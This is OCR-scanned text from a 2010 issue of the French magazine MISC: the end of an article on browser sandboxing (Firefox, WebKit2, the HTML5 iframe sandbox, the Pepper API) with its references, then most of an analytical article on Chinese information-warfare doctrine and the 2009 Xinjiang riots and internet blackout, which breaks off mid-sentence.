béta du navigateur, Lorentz, est disponible et permet
I'isolation des plugins Flash, Quicktime et Silverlight,
premiére étape avant Electrolysis. Sil’objectif principal
cible la stabilité et les performances, a terme, c’est bien
une meilleure sécurité qui en découlera. Sous Windows, le
mode protégé sera sans aucun doute mis a contribution.

4.2 WWebKit 2

La prochaine version de Webkit?® représente une
évolution majeure du moteur de rendu d’Apple, utilisé
entre autres par Safari et Chrome. Un des objectifs de
premier ordre de cette nouvelle version est de séparer
chaque contenu web (JavaScript, HTML, etc.) dans
des processus séparés de l'application. On retrouve la
sandbox de Chrome, avec l'avantage supplémentaire
d’une intégration directe au framework, ce qui permet a
n'importe quelle application utilisant WebKit d'en tirer parti.

4.3 Et les autres ?

HTML5 apporte de nouvelles fonctionnalités de
sécurité : Lattribut sandbox??, lorsqu’il est spécifié sur
un élément <iframe>, active de nouvelles restrictions



au contenu de la page chargée dans l'iframe. Lidée est
de dire que la page parente ne fait pas confiance au
contenu de l'iframe, alors le navigateur doit l'afficher
en réduisant ses privileges. Ces restrictions empéchent
I'iframe d’accéder au DOM de la page parente, d'exécuter
des scripts ou des formulaires, et de lire ou écrire
des cookies. Les restrictions peuvent étre réduites en
attribuant une valeur a sandbox (allow-same-origin,
allow-forms et allow-scripts). Actuellement, seul WebKit
(donc Chrome et Safari) implémente 1’attribut sandbox
de la norme HTMLS5.

Google a décidé d’intégrer directement le plugin Flash
au sein de Chrome, dans le but d’automatiser la mise a
jour de Flash avec celle du navigateur. Google travaille
aussi avec Adobe pour élargir les capacités de la sandbox
de Chrome aux pages web contenant du Flash.

Toujours au sujet des plugins, Google, Mozilla et Adobe
travaillent ensemble a 1'établissement d’une nouvelle API
nommee Pepper?’, en remplacement de la vieillissante
NPAPI créée pour Netscape. Cette API devra étre la
plus indépendante possible pour étre utilisée par les
autres navigateurs. Une fois cette API mise en place, il
sera plus facile de sandboxer tous les plugins, dont les
impératifs seront alors standardisés.

En conclusion...

N'ayez pas confiance en votre navigateur web :) Encore
récemment, une faille monumentale a été découverte dans
Java®® par Tavis Ormandy, permettant une exécution de
code a distance fiable. Cette vulnérabilité était facilement
exploitable au travers de n'importe quel navigateur web.
Les protections des navigateurs web ne sont pas fiables
a 100%, 'exemple de la faille Java le confirme bien, mais
elles compliquent en général tres fortement le travail
d’un attaquant. W

= NOTES

Jacques le roi du jacking, http:/ljackjacking.
blogspot.com

* hitp:/lcansecwest.com

* hitp:licode.google.com/plgoogle-safe-browsing/wiki/
Protocolv2Spec

1'https;/iblogs.apache.org/infralentry/apache_org 04 09 2010

% hitp:/lhackademix.net/2009/11/21/ies-xss-filter-creates-xss-
vulnerabilities!

DOSSIER 4/4

4 https:iladdons.mozilla.org/fr/firefoxfaddoni722

7 http:ifwww.adobe.com/devnetiflashplayer/articlesiprivacy.
mode fp10.1.html

i hitp:ffen.wikipedia.org/wiki/Data_ Execution Prevention
I httpiffen.wikipedia org/wikifReturn<to-libc, attack

" Skape et Skywing, Bypassing Windows
Hardware-enforced Data Execution Prevention,
2005, http:ffuninformed.org/?v=28a=4&t=pdf

! hitp:/flenwikipedia.orglwiki/ASLR

12 Dion Blazakis, Interpreter exploitation:
pointer inference and JIT spraying, 2010,
http:iwww.semantiscope.com/research/BHDC2010/BHDC-2010-
Paper.pdf

1% http:/len.wikipedia.org/wikildIT_compiler

"WPeter Vreugdenhil, Pwn20wn 2010,
Windows 7 Internet Explorer 8 exploit, hitpill
vreugdenhilresearch.nl/Pwn20wn-2010-Windows7-Internet
Explorerd.pdf

5 Marc Silbey el Peter Brundett, Understanding
and Working in Profected Mode Internet
Explorer, 2006, httpifimsdn.microsoft.com/en-us/
library/bb250462.aspx

18 hitp:/idev.chromium.org/developers/design-documents/
sandbox

17 httpilfblog.chromium.orgl2009/06/google-chrome-sandhoxing-
and-mac-08-x.html

1B httpillcode.google.com/plchromium/wikil
LinuxSandboxing

" hitp:iwwwitomsick netfprojects/sandboxed-safari

20 hitp:/lcrazylazy.info/blog/content/applying-sandbox-exec-
around-safari-single-click

21 Mac OS X Security, hitp:/images.apple.com/macosx/security/
docsiMacOSX. Security TB.pdf

#2 hitps:/iwiki.mozilla.org/Electrolysis
24 http./ftrac.webkit.ora/wiki/WebKit2

4 http:/iblog.whatwg,org/whats-next-in-himl-episode-2-
sandbox

%> https:fiwiki.mozilla.org/Plugins;Platformindependent
NPAPI

25 http:lwww. mail-archive. com/full-disclosure@lists.grok.
org.uk/msg40571.html

Misc N°49 - Mai/Juin 2010



SOCIETE

EMEUTES AU
XINJIANG ET GUERRE DE
LINFORMATION CHINOISE

Daniel Ventre, CNRS

GUERRE DE L'INFORMATION / CYBERGUERRE / fV,OLUTION DE LA THEORIE
ET DE LA DOCTRINE / GEOPOLITIQUE / CHINE / EMEUTES / XINJIANG

mots-clés :

‘un point de vue théorique et pratique, ot en est aujourd’hui la Chine en

matiere de guerre de l'information et de cyberguerre ? Nous pourrions voir

dans la recrudescence des attaques imputées a la Chine (intrusions dans des
systemes d’information d‘agences gouvernementales et de grandes entreprises,
vol de données, espionnage, etc.), la démonstration de son implication de plus en
plus marquée dans le champ de la guerre de l'information, le recours systématisé
a des opérations agressives dans le cyberespace, dans le prolongement somme
toute logique des théories et doctrines de GI affichées depuis prés de 20 ans (§I).
Toutefois, les agressions recensées dans le monde ne sauraient résumer ni méme
refléter l'approche chinoise de la GI' et de la cyberguerre : d’une part, les opérations
ne peuvent lui étre imputées assurément - pour des raisons techniques - et dautre
part, la doctrine chinoise ne saurait se limiter a ces intrusions. Pour tenter de
répondre a la question, il nous a alors semblé intéressant de choisir un nouvel objet
d‘analyse. Nous avons ainsi analysé les émeutes du Xinjiang, qui au cours de ['été
2009 ont marqué I'histoire de la Chine et avons tenté d’identifier dans les épisodes
de cette crise intérieure majeure et les modalités de sa gestion par les autorités
(81I), des indices caractérisant I'approche chinoise de la GI (§III).

En 1995, le général Wang Pufeng, pére de la doctrine

Theories et doctrines

1 chinoises de GI et de
cyberguerre : rappels

La conception chinoise de la GI et de la cyberguerre
a deux facettes, militaire et civile, développées sur un
plan a la fois théorique et pratique.

1.1 La dimension militaire

Depuis le milieu des années 1990, les militaires chinois
ont assuré le développement des théories et doctrines de
GI, ainsi que leur mise en ceuvre progressive au travers
du long processus de RAM? puis de transformation.
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chinoise de GI, la définissait comme une guerre dont
I'objectif n’est plus la conquéte de territoires ou la
destruction des froupes adverses, mais la destruction
de la volonté de résistance adverse ; une guerre dans
laquelle la capacité a voir et a savoir avant 1’adversaire,
a agir plus vite, a frapper de maniére plus précise est
tout aussi importante que la puissance de feu.

En 1997 le colonel Wang Baocun ajoutait que la GI
peut étre menée en temps de paix, de crise et de guerre ;
consiste en opérations offensives et défensives ; a pour
composantes principales les C2 (commandement et contréle),
I'intelligence, la guerre électronique, psychologique, la
guerre de hackers, la guerre économique.

En 1999, les colonels Qiao Liang et Wang Xiangsui, dans
leur célébre ouvrage La guerre hors limites - I'art de Ia
guerre asymétrigue entre terrorisme et globalisation,



soulignaient que « le progres technique [...] a offert
de nombreuses possibilités nouvelles de vaincre », la
« guerre hors limites » signifiant pour eux que les armes
et les techniques sont multiples et que « le champ de
bataille sera partout », « le champ de bataille est a
notre porte et 'ennemi est en ligne », « c’est la guerre
permanente ». La guerre de l'information est la « guerre
ou I'informatique est utilisée pour obtenir ou détruire
des renseignements ».

La revue Liberation Army Daily définissait en 2006
la guerre de l'information en ces termes : elle est « le
mécanisme pour prendre le dessus sur 'ennemi dans
une guerre sous conditions d’informatisation, trouve
sa plus forte expression dans notre capacité ou non a
utiliser plusieurs moyens permettant d’'obtenir et assurer
la circulation efficace de l'information ; notre capacité
ou non a faire pleinement usage de la perméabilité, de la
propriété de partage et de la connexion de l'information
pour réaliser la fusion organique des matériels, de
Iénergie, et de l'information, afin de créer une force
de combat combinée : et dans notre capacité ou non a
utiliser des moyens efficaces pour affaiblir la supériorité
de I'information de 'ennemi et I'efficacité opérationnelle
de l'éequipement informatique ennemi »,

La modernisation de 1’armée chinoise vise
1'« informationization », concept qui consiste a développer
une architecture en réseau afin de coordonner les
opérations militaires dans toutes les dimensions.

La stratégie de guerre de l'information chinoise est
condensée dans le concept INEW (Integrated Network
Electronic Warfare), défini par le général Dai Qingmin
dés le début des années 2000 : intégration de la guerre
électronique (EW) et des attaques par réseaux d’ordinateurs
(CNA - Computer Networks Attacks) pour la partie
offensive, et pour la partie défensive de la protection
des réseaux (CND - Computer Networks Defence) et
des opérations de renseignement (CNE - Computer
Networks Exploitation). Laction conjointe de CNA et EW
contre les C4ISR’ et les réseaux des systémes logistiques
adverses constitue la base de la guerre de 'information
offensive chinoise.

En 2003, le Comité Central du Parti Communiste
chinois a validé le concept des « 3 guerres », concept
de GI militaire dont les composantes sont la guerre
psychologique, la guerre des médias (influencer’opinion
publique nationale et internationale) et la guerre juridique
(qui consiste a recourir aux outils du droit national et
international pour obtenir le soulien de la communauté
internationale).

Quelques publications ont marqué ces dernieres années
la production chinoise, apportant leur contribution aux
réflexions sur ces concepts de GI et cyberguerre, les
situant dans un contexte militaire : citons simplement ici
The Science of Campaigns®, de Wang Houging et Zhang
Xingye en 2000, The science of Military Strategy®, de
Peng Guanggqgiang et Yao Youzhi en 2005.
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La mise en ceuvre des concepts est passée par la
création de nombreux centres de formation des armées
(Zhengzhou, Wuhan, Changsha, ...), qui dispensent
aux militaires, depuis le milieu des années 1990, des
enseignements en GI. Depuis 1997, la presse a fait
état de nombreux exercices de GI menés par les forces
armées, preuve du passage de la théorie a la pratique,
information qui fut reprise dans des rapports officiels
du gouvernement américain.

La place conférée aujourd’hui en Chine a la maitrise
de la dimension cybernétique au sein des armées est
considérable, puisque le niveau de développement de
ces derniéres se mesure a 'aune de celui des capacités
de GI. Objectif poursuivi par l'armée chinoise : étre
capable de gagner des guerres conduites par I'information
(guerre de l'information, cyberguerre) d’ici a la moitié
du 21e siecle.

La Chine est engagée sans ambiguités dans cette voie :
« la cyberguerre n'est plus depuis longtemps affaire de
science fiction », déclarait le colonel Dai Qingmin en
2009, ajoutant que « I'Internet deviendra le lieu d'une
inévitable course aux armements ».

Toutefois, les capacités réelles de la Chine en matiere
de GI et de cyberguerre demeurent une inconnue et
ce point ne manque d’inquiéter les observateurs (et
peut-étre victimes) internationaux, comme en attestent
les nombreuses publications sur le sujet, dont nous
ne mentionnerons ici que le rapport Capability of the
People’s Republic of China to Conduct Cyber Warfare
and Computer Network Exploitation (2009)% ou la
contribution de Timothy L. Thomas dans Cyberpower
and National Security (2009)7, publié par la National
Defense University.

1.2 La dimension civile '

Limplication du secteur civil se traduit en Chine de
diverses manieres :

- Au travers de la renaissance du concept de « guerre
du peuple », évoquée par le général Wang Pufeng
en 1995, consistant en I'intégration des spécialistes
civils et militaires dans une méme lutte, le champ de
bataille traditionnel n’existant plus, la guerre pouvant
étre partout et donc l'affaire de tous.

- Larmée chinoise développe ses capacités en relation
étroite avec I'industrie du secteur privé et le monde
académique, rapprochant ainsi secteur prive et
public, secteur civil et militaire, phénoméne que
I’on observe depuis de nombreuses années dans
nombre de nations industrialisées. Il n'y a donc pas
la de spécificité chinoise,

A la frontiére du civil et du militaire, des unités de
milice ont été établies par 'armée dans les diverses
provinces militaires : ayant compétences dans la GI,
la guerre électronique, la guerre psychologique,

Misc N°49 - Mai/Juin 2010



SOCIETE

les opérations d’information, la guerre en réseau,
etc. Elles font appel a des citoyens travaillant dans
I'industrie ou le monde académique.

Certains fournisseurs de 'armée chinoise entretiendraient
des liens privilegiés avec la communauté des hackers.
Nous manquons toutefois d’éléments précis permettant
de confirmer ces liens et leur niveau de profondeur.

LAnnual Report on the Military Power of the People’s
Republic of China® rappelait en 2003 les dangers
propres au piratage nationaliste (hacktivisme) en
période de tension ou de crise. De nombreuses
actions sont a leur actif : rappelons les vagues de
cyberattaques consécutives au bombardement de
I’Ambassade de Chine par les forces de I’'OTAN a
Belgrade en 1999 ; les attaques contre les intéréts
taiwanais ; les attaques en régle contre les sites
officiels américains, tibétains, japonais, pour des
motifs politiques ; en 2008, les attaques contre le site
internet de I’Ambassade de France en Chine suite a
la rencontre entre le dalai-lama et le chef de 1'Etat
francais, elc. Mais le phénoméne « hacktiviste »
n’est pas une spécificité chinoise.

Les émeutes du

2 Xinjiang : role du
cyberespace .

GI et cyberguerre ont vocation a gérer les rapports
de force internationaux, mais également un réle a jouer
a l'intérieur du cadre des frontiéres nationales, Dans les
émeutes du Xinjiang, en juillet 2009, espace informationnel
et cybernétique ont tenu une place importante : des
prémisses de la crise, a sa gestion immédiate, puis a
la stabilisation de la situation sur un plus long terme.

2.1 contexte explosnc dans
une reglon strateglque '

Le Xinjiang, situé au nord-ouest du pays, comptant 20
millions d’habitants sur une superficie équivalente a 2,5
fois celle de la France, est une région stratégique pour
la Chine (importantes ressources naturelles ; 5300 km
de frontieres avec 8 pays dont ’Afghanistan, le Pakistan
ou la Russie ; proximité avec le Tibet ; forte présence
militaire et site d’essais nucléaires, ...).

Pékin poursuit depuis le début des années 1950 une
politique de sinisation de la population locale, Ouighour,
turcophone, majoritairement musulmane. Mais de violents
conflits interethniques, indépendantistes, religieux,
terroristes, ont fait des milliers de victimes depuis 50 ans.
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2.2 Les émeutes de Junlet
2009 : chronologie

Tout serait parti de rumeurs sur Internet. Fin juin
2009, un employé qui vient d’étre licencié d’une fabrique
de jouets située a Shaoguan (province de Canton) aurait
lancé une rumeur sur Internet : six ouvriers Quighours
auraient violé deux ouvriéres Hans au sein de l’entreprise.
Les ouvriers Hans s’en prennent alors en représailles aux
ouvriers Ouighours. Les bagarres au cours de la nuit du
25 au 26 juin 2009 se soldent par la mort de deux ouvriers
Ouighours® et font 120 blessés. Le 5 juillet, la communauté
Ouighour organise a Urumgi une manifestation, pour
exprimer son mécontentement vis-a-vis de la maniére
dont les autorités chinoises ont géré les incidents de
Shaoguan (les 400 policiers présents n’auraient pas fait
grand-chose pour empécher les violences). La manifestation
dégénére trés vite : le millier de manifestants Quighours
affronte les forces de I'ordre, puis s’en prend aux chinois
Hans. Les autorités communiquent des bilans élevés
dés le 6 juillet. Le 7, les chinois Hans s’en prennent aux
Ouighours, en repreésailles. Le 8, le président Hu Jintao
écourte son séjour au sommet du G8 en Italie et rentre
en Chine pour gérer la situation de crise au Xinjiang.
Les violences font fuir hors de la capitale des milliers
d’habitants effrayés. Le 10 juillet, les autorités ferment
les principales mosquées afin d’éviter des attroupements
et de nouveaux débordements. Au-dela de la région et
de la Chine méme, l'incident a des répercussions : prises
de position des gouvernements étrangers ; la Turquie
accuse Pékin de génocide ; le 6 juillet, Pékin accuse
Rebiya Kadeer, la présidente du WUC' exilée aux Etats-
Unis, d’avoir fomenté la révolte, affirmant méme le 9
juillet avoir intercepté ses communications, prouvant
son implication dans l'organisation des émeutes!!. La
révolte Ouighour aurait d’autre part été « récupérée » par
des mouvements islamistes : selon le cabinet d’analyse
londonien Stirling Assynt, Al-Qaeda au Maghreb aurait
appelé mi-juillet a des représailles contre les intéréts
chinois en Algérie. Lambassade de Chine a Alger, via son
site internet, demanda alors la plus grande prudence a
ses ressortissants. Les émeutes des 5, 6 et 7 juillet 2009
ont officiellement fait 197 victimes et 1 721 blessées,
majoritairement Hans. Durant les semaines et mois qui
suivirent les massacres, la situation est demeurée trés
tendue dans la région, Urumgi étant de nouveau le théétre
de manifestations meurtriéres le 3 septembre 2009.

2.3 Le cyberespace au "

Xinjiang : une région
<« connectee <«

La population d'internautes en Chine pourl’année 2009
était estimée a 360 millions, avec un taux de pénétration
de 26,9%. Au Xinjiang, le taux de pénétration de I'Internet
était de 27,1% en décembre 2008 (6,25 millions), donc &




peine supérieur a la moyenne nationale. Le Xinjiang
dispose de 3 fois plus de noms de domaines, de deux
fois plus de sites internet, et de prés de 35 fois plus
de pages internet que le Tibet. La région est ainsi
davantage présente que le Tibet sur Internet, ce qui
esl susceplible d'avoir des conséguences directes sur
la maniere d’aborder la gestion de la crise, dés lors
qu’elle prend en compte la dimension cybernétique.

2.4 Les defigurations de

sites

Comme lors de toute crise ou événement politique
important, la communauté hacktiviste internationale
s’est manifestée. La presse internationale a ainsi
rapporté plusieurs cas de défigurations :

- Plus de 2000 pages de sites chinois auraient été
piratées par le groupe turc Ayyildiz Hack Team.

- Le 11 juillet 2009, le site du Centre météorologique
chinois était défiguré par Linuxploit_crew.

- Le site del'’Ambassade de Turquie a Pékin (turkey.
org.cn) a été attaqué le 13 juillet 2009 par un
hacker chinois (ou pro-chinois ?), apres que le
premier ministre turc, Recep Tayyip Erdogan,
ait qualifie les incidents de génocide.

- Le 7 aotit 2009, le site du Festival du film de
Melbourne a été victime d’attaques signées
« oldjun », hacker chinois (ou pro-chinois ?)
affichant un message anti-Ouighour.

-Le 8 septembre 2009, les organisateurs du
festival international du film de Kaohsiung
(Taiwan) annoncent que des hackers ont piraté
leur blog, y postant un message qui accuse
Rebiya Kadeer d’étre a l'origine des émeutes
au Xinjiang??.

2.5 Le cyberespace comme

vecteur de menaces

Le cyberespace constitue pour la Chine comme
pour nombre d’acteurs dans le monde, Etats
démocratiques ou non, et pour des raisons diverses,
une source d’instabilités, de risques potentiels.
Celui-ci fait dés lors I'objet de la part des autorités,
de mesures d’encadrement, parfois trés restrictives.
Ceci est vrai en situation de paix et semble s’imposer
en situation de crise ou de conflit. Lors de la crise
au Xinjiang, les autorités ont accordé une attention
toute particuliére a la gestion de l'information, a
I'encadrement des moyens de communication, a
la régulation du cyberespace, ses contenus, ses
infrastructures, ses acteurs.
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Notes :

L« Guider. Iupmwn sur Internet est une mes
majeure pour la protection de la s
Finformation sur Internet », déclarait recemment
Wang Chen, chef du bureau de l'information du
gouvernement central chinois. www.dw-world.de/dw/
article/0,,5127865,00.html; « EU official calls cyberattacks
on Chinese political activists « worr ving »

Reuters, hael Lawlon, 14 janvier 2010,

 http:ifwww.heritage. orgIResearchr‘Reportsfzﬂ‘[OJ'OZISubmanne-Arms-;
Race-in-the-Pacific-The-Chinese-Challenge-to-US-Undersea -Supremacy
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2.5.1 Les menaces potentielles

Le cyberespace peut étre :

- Le vecteur de la rumeur. Le People’s Daily accusait
les Etats-Unis, en juillet 2009, d'utiliser Internet pour
propager des rumeurs et de mener par ce biais des
opérations de guerre de 'information dans les pays
ou ils veulent intervenir, comme lors des élections
en Iran en 20093,

- Loutil d’organisation des émeutes.
- Un outil permettant d’attiser les haines.

- Le vecteur de la désinformation : infiltration de
contenus depuis 1'étranger, diffusion de vidéos,
utilisation d’images détournées de leur vrai contexte, ...

C’est pour limiter ces impacts négatifs que, dans les
24 heures qui suivirent le début des émeutes dans le Xinjiang,
les autorités avaient partiellement bloqué’acces a Internet,
coupé les communications internationales et les SMS*,

2.5.2 [la presse

Dans cette situation d'urgence, il était impératif de
faire entendre la voix officielle. Les autorités ont alors
mis en ceuvre toutes les méthodes a leur disposition
pour occuper au mieux l'espace informationnel. Les
médias régionaux et nationaux ont diffusé les messages
officiels. La presse étrangere fut invitée dés les premiers
jours, attitude contrastant avec la position des autorités
chinoises I'année précédente, au Tibet. Mais cette presse
fut relativement bien encadrée, malgré l'apparente liberté
de mouvement, tous les journalistes travaillant dans une
seule salle de presse, installée dans un hotel, le seul
lieu disposant dans la capitale de quelques connexions
internet a se partager.

2.5.3 Coupure des télécommunications

Le fournisseur de services de téléphonie mobile China
Mobile a suspendu ses services dans la région, pour aider
au retour a la paix et prévenir la propagation de l'incident.

Les utilisateurs ont tenté de contourner les difficultés
occasionnées par les coupures : les appels en provenance
de I'étranger étant impossibles directement vers le
Xinjiang, les appels furent dans un premier temps dirigés
vers des contacts en Chine, qui faisaient alors suivre
I’appel vers le Xinjiang.

2.5.4 Internet : blocage des accés

Dés les premieéres heures de la crise, I'Internet au
Xinjiang était partiellement bloqué et de nombreux sites
du Xinjiang, notamment des médias, étaient inaccessibles
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depuis la Chine et I’étranger : les sites de la presse comme
Xinjiang Daily, Xinjiang Metropolis Daily, Xinjiang Legal
Daily, Morning Post, et des portails d'information comme
1Yaxin, Tianshan, la Xinjiang Television Station, la chaine
Urumgqi People’s Broadcasting Station, la chaine locale
de télévision Urumgi UTV Station, ou encore le site du
gouvernement de la ville d'Urumgi. Cette pratique a des
précédents en Chine. Lors des émeutes de Shishou du
19 au 21 juin 2009, I'Internet avait été coupé, afin de
neutraliser 'action des manifestants et leurs capacités
d’'organisation a l’aide d’outils comme Twitter (qui
avait déja été bloqué a la veille du 20éme anniversaire
des manifestations de Tiananmen'?, tout comme Flickr,
Hotmail, MSNSpaces, Youtube, les plates-formes Blogger,
Typepad, ou encore Bing.com).

Les informations disponibles sur le site du projet
ameéricain Herdict!®, qui recense les déclarations
d’'inaccessibilité aux sites dans le monde, permettent
d’analyser I'impact des mesures concernant les sites
chinois. La courbe concernant l'inaccessibilité de
Twitter en Chine est révélatrice : deux pics importants
apparaissent, l'un coincidant avec le 20e anniversaire
de Tiananmen, le second avec les émeutes du Xinjiang.
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Evolution des declarations d’inaccessibilité du site
Twitter en Chine. Periode 1 fevrier- 31 décembre 20089.
A partir des données relevées sur la base Herdict

2.5.5 Internet : controle des contenus

Dans le cadre des émeutes du Xinjiang, de nombreux
médias étrangers ont utilisé des images détournées de
leur contexte. Une photographie prise lors des émeutes
de Shishou'” (en 2009), initialement publiée le 26 Juin
par le Southern Metropolis Weekly, fut utilisée par
Reuters, le Daily Telegraph et le WUC'®, pour dénoncer
les violences policieres a Urumgqi. Le 28 juillet, un
internaute supposé étre un membre important du WUC
est accusé d'avoir diffusé une vidéo intitulée « Femme
Ouighour battue a mort », mais qui était en réalité
une vidéo de CNN réalisée a Mosul, en Irak, le 7 avril
2007'%. Le WUC diffusait sur son site internet une image
des violences a Urumgi*, provenant de I’AFP et qui ne
montrait quun simple accident de voitures. Reuters a
diffusé I'image d’un corps gravement mutilé, mais n'a
pas pris le temps de vérifier la source procédant ensuite
au refrait de l'image.

Pour tenter de réguler I'information et influencer
les opinions, le gouvernement chinois paierait des
« censeurs » a la piéce (les « 50-cent-ers », payés 50
cents par post censuré), chargés de filtrer et couper les
contenus (remplacant les commentaires postés par les
internautes par un laconique « There are no comments
at this time »), images, vidéos et commentaires ont
été disséminés sur la toile mondiale, échappant a tout
contréle de Pékin. Les mesures restrictives ont leurs
limites d’efficacité.

2.5.6 Le maintien du black-out

Les autorités, en coupant les flux de communication
de « l'adversaire », ont cherché a éviter les interactions
entre monde réel et virtuel, espace matériel et espace
informationnel.

Le black-out, qui a paralysé dans le méme temps les
communications internet et les services de téléphonie,
poursuivait officiellement plusieurs objectifs : isoler les
insurgeés, leur interdire toute possibilité de communiquer
avec d'autres groupes, éviter que le brasier ne soit
entretenu, éviter que des voix encourageant les émeutes
ne soient entendues, circonscrire au maximum 1'étendue
de la violence, interdire la diffusion d’informations de
toute nature (vraies, fausses, déformées) susceptibles
de favoriser le jeu de la violence.

Mais ce qui semblait étre situation d'urgence est
devenu situation pérenne, le black-out est devenu la
norme plus de 6 mois durant.

Le black-out sur les télécommunications fut maintenu
aussilongtemps que celui pesant sur I'Internet. Lorsque
les autorités ont annoncé la restauration progressive de
I'acces a Internet, fin décembre 2009, aucun calendrier
n’a cependant été donné concernant la réouverture des
lignes de télécommunications internationales, niles SMS.

La GI chinoise au

3 prisme de la crise du
Xinjiang

3.1 Le Xinjiang, terre de GI et

de cyberguerre ?

La présence militaire dans la région est forte. Martin
Andrew, officier de |'armée de 1'air australienne, spécialiste
des questions militaires chinoises, affirmait en 2005 que
la région du Xinjiang constituait méme, pour 'armée
chinoise, le premier centre de tests pour la GI?! : « En
raison de son isolement et de son terrain varié, elle
est devenue la premiere zone d’entrainement pour
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developper la nouvelle cyberguerre que poursuivent
les militaires chinois. La Chine peut développer son
idée de guerre de I'information dans un espace et un
terrain relativement libre, permettant I'utilisation de
guerre électronique offensive et de manceuvres a grande
échelle loin de regards et sans interférence avec des
activités commerciales. La région militaire du Xinjiang
arécemment été le théatre d‘une série d'exercices dans
le désert de Taklimakan, ot un réseau LAN C4I a été
incorporé dans une division sur un espace de 1 000 km
de long, qui intégrait intelligence, C2[...] Les Chinois ont
conduit une campagne de guerre de l'information contre
les Ouighours, au travers de forums internationaux, en
les qualifiant de terroristes et en produisant un livre
blanc et des articles soulignant les crimes commis
contre la Chine »?%, La région abrite également des
stations d’interception des communications (SIGINT)
dans plusieurs villes : a Kitai, a Korla?® (stations d’écoute
développées au début des années 1980, sous la conduite
de la CIA avec des equipements de la NSA)?* a Kashi,
Lop Nor, Dingyuanchen ou encore Changli (interception
des communications satellites)?.

3.2 Identification de quelques
caracteristaques de la GI
_chinoise

- La guerre de l'information demeure un concept
essentiellement militaire, un outil de pouvoir. La
gestion de la crise au Xinjiang fut militaire et a
impliqué les plus hautes sphéres du pouvoir.

- Selon la doctrine connue, les opérations d'information
consistent a bloquer des canaux de communication
tout en assurant la sécurité de ses propres flux
d’information. Il s’agit de prendre le contrdle des flux
d’information de l'adversaire et d'établir la maitrise
de l'information, prérequis pour prendre I'avantage
dans les autres domaines. Cette approche fut appliquée
par les autorités dans la crise du Xinjiang.

- La doctrine militaire prévoit de dégrader les réseaux,
de maniére préemptive, avec pour effet d’empécher
l'ennemi de collecter, traiter et diffuserl'information
ou d’accéder a l'information nécessaire pour soutenir
des opérations de combat, permettant aux forces
armeées d’atteindre leurs objectifs opérationnels
(déployer leurs troupes, ...). La méthode consiste a
rendre l'adversaire aveugle et muet. Le black-out
imposé poursuit cet objectif.

- La maitrise de l'information c’est également, via les
opérations d'information, 'encadrement de la presse.
Celui-ci fut réalisé pour la presse nationale, ainsi
que pour les médias étrangers invités au Xinjiang.

- « La vitesse de réaction du soldat a toujours été le
point le plus important de la guerre. Aujourd’hui, avec
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EMEUTES AU XINJIANG ET GUERRE DE L'INFORMATION CHINOISE

I'informatisation de la guerre, il faut se concentrer
encore davantage sur cette vitesse »%¢. « Le temps
[...] est la piéce maitresse de la guerre. Avec
I'informatisation de la guerre, il est plus important
gu’'avant, et ce d'autant plus quand l'un des deux
adversaires a la capacité de partagerl'information,
lui conférant ainsi un avantage sur l'autre »*’. Dans
la résolution de la crise, il s’agissait aussi de (re)
prendre rapidement 1’avantage en s’efforcant de
maitriser l'information et leurs vecteurs que sont
les systémes d’information. La supériorité suppose
de traiter avant l'autre des données utiles, d'en
disposer en temps nécessaire, de savoir les traiter,
de les fournir aux C2?. Or les émeutiers agissant
plus rapidement, les autorités ont été prises de
vitesse, se sont trouvées débordées et placées dans
une position réactive et défensive. Il s’agissait alors
pour elles de rattraper le retard pour reprendre le
dessus. Quelques heures, c’est le temps qu’il aura
fallu pour que I'espace informationnel fasse I'objet
de mesures de régulation, pour procéder au blocage
de I'Internet, a la coupure des télécommunications
(mesures radicales s'il en est).

Nous retiendrons enfin de cette crise la preuve de
I'existence de failles dans le systéme chinois. Les
autorités affirment avoir intercepté les communications
du WUC, et selon le maire d'Urumgi, la manifestation
du 5 juillet aurait été organisée en ligne via des
services comme les QQ Groups?®. Tout ceci est
annonce a posteriori. La Chine dispose-t-elle vraiment
des moyens imposants de renseignements et de
contréle de 'espace informationnel qu’on lui accorde
généralement ? Si tel est le cas, comment la sécurité
chinoise n'a-t-elle pu identifier les signes précurseurs
des émeutes, ou n’'a pas su les interpréter ? La
dissémination d’'informations en provenance d’Etats
tiers, qui hébergent des dissidents, des membres de
diasporas hostiles, des mouvements qui sont qualifiés
de terroristes par la Chine, semble non maitrisable.

Les stations d’écoute, la surveillance de I'Internet, les
policiers du net, les censeurs, la « Grande Muraille »
d’Internet, ne sont pas la parade absolue contre
les risques de contournement, contre les menaces
internes et externes. Le systéme chinois est, comme
les autres, faillible, ni plus ni moins capable de
maitrise des flux d’information qui circulent dans le
cyberespace. La maitrise de I'espace informationnel,
méme en Chine, méme avec les moyens de contrdle
et de censure qu’on lui préte, releve encore a ce jour
de l'inaccessible®.

Le choix de la coupure des voies de Lélécommunicalions
fut radical (couper des moyens de communication
permet également d’éviter les désagréments d'un
brouillard informationnel trop épais), mais démontre
I'absence de parade efficace, de solutions alternatives.
Ce faisant, les autorités ont peut-étre pointé du doigt
leur propre centre de graviteé.




Conclusion .

Au travers de la diffusion de vidéos sur
Internet, dont certaines d’entre elles furent
reprises sur les chaines de télévision chinoises,
au travers des actions de communication
a destination de la presse étrangere et
nationale, de la prise en main du contenu
de l'information officielle, de la maitrise des
flux d’informations en Chine par la coupure
des circuits de communication au Xinjiang
(Internet, télécommunications), avec 'aide
modérée des hacktivistes, mais encore du coté
Quighour par le recours au cyberactivisme
et a des démarches de nature médiatique
(attirer I'attention de I'opinion internationale
par la projection dans divers pays d’un film
lié & la cause Ouighour, attention d’ailleurs
opportunément renforcée par les opérations
de hacking des sites - attribuées a la Chine -
des divers festivals du film qui avaient décidé
de sa projection), il apparait que la dimension
essentielle de la gestion de cette crise a résidé
dans la primauté accordée a la gestion de la
perception.

Mais le fait majeur est sans nul doute le choix
qui a consisté a imposer un black-out sur les
communications d'une région entiére plus de
6 mois durant. Fait sans précédent. La théorie
de GI s’appuie généralement sur deux familles
d’objectifs : utiliser, intercepter, exploiter,
perturber, altérer, détruire l'information et les
systémes d'information adverses ; protéger
son information et ses systémes d’information
des mémes opérations qui seraient menées
par l’adversaire. Or dans cette configuration
de crise intérieure, il ne s’agit pas uniquement
de s’en prendre a une information et a des
systémes externes, identifiés comme adverses.
La théorie, binaire (mener des actions contre
un adversaire, assurer la protection de son
propre camp, les deux séparés par une ligne
de démarcation fut-elle virtuelle), n’est plus
pertinente en pareille situation. La cible estici
dans la forteresse. La théorie de Gl inscrirait
donc la contrainte du sabordage, envisageable
quand l'adversaire est dans nos lignes.

LInternet est un systeme d’armes vulnérable.
La Chine joue avec le cyberespace, mais en
subit aussi les contraintes. Débordements,
impossibilité de maitriser completement
